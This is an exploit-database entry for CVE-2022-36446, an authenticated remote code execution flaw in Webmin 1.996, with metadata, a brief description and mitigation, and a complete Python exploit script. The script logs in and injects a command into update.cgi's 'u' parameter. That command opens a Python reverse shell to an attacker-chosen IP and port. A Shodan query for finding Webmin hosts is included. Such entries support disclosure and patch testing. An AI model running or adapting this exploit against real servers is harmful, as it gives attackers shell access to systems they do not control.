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vendor:
Webmin
by:
Emir Polat
9.8
CVSS
CRITICAL
Remote Code Execution
78
CWE
Product Name: Webmin
Affected Version From: 1.996
Affected Version To: 1.997
Patch Exists: YES
Related CWE: CVE-2022-36446
CPE: a:webmin:webmin
Metasploit:
Other Scripts:
Tags: packetstorm,cve2022,webmin,rce,authenticated,edb,cve
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Nuclei Metadata: {'max-request': 2, 'shodan-query': 'title:"Webmin"', 'vendor': 'webmin', 'product': 'webmin'}
Platforms Tested: Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
2022

Webmin 1.996 – Remote Code Execution (RCE) (Authenticated)

A vulnerability in Webmin 1.996 allows an authenticated user to execute arbitrary code on the server. This is due to the lack of input validation in the update.cgi script, which allows an attacker to inject malicious code into the 'u' parameter. This code is then executed by the server when the update is installed.

Mitigation:

Input validation should be implemented to prevent malicious code injection.
Source

Exploit-DB raw data:

# Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-25
# Exploit Author: Emir Polat
# Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://www.webmin.com/download.html
# Version: < 1.997
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE: CVE-2022-36446

import argparse
import requests
from bs4 import BeautifulSoup

def login(args):
    global session
    global sysUser

    session = requests.Session()
    loginUrl = f"{args.target}:10000/session_login.cgi"
    infoUrl = f"{args.target}:10000/sysinfo.cgi"

    username = args.username
    password = args.password
    data = {'user': username, 'pass': password}

    login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
    sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})

    bs = BeautifulSoup(sysInfo.text, 'html.parser')
    sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]

    if sysUser:
        return True
    else:
        return False

def exploit(args):
    payload = f"""
    1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
    """

    updateUrl = f"{args.target}:10000/package-updates"
    exploitUrl = f"{args.target}:10000/package-updates/update.cgi"

    exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}

    if login(args):
        print("[+] Successfully Logged In !")
        print(f"[+] Session Cookie => sid={session.cookies['sid']}")
        print(f"[+] User Found  => {sysUser[0]}")

        res = session.get(updateUrl)
        bs = BeautifulSoup(res.text, 'html.parser')

        updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]

        if updateAccess[0] == "package-updates":
            print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
            print(f"[+] Exploit starting ... ")
            print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")

            session.headers.update({'Referer'  : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
            session.post(exploitUrl, data=exploitData)
        else:
            print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
    else:
        print("[-] Login Failed !")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
    parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
    parser.add_argument('-u', '--username', help='Username For Login', required=True)
    parser.add_argument('-p', '--password', help='Password For Login', required=True)
    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
    parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
    args = parser.parse_args()
    exploit(args)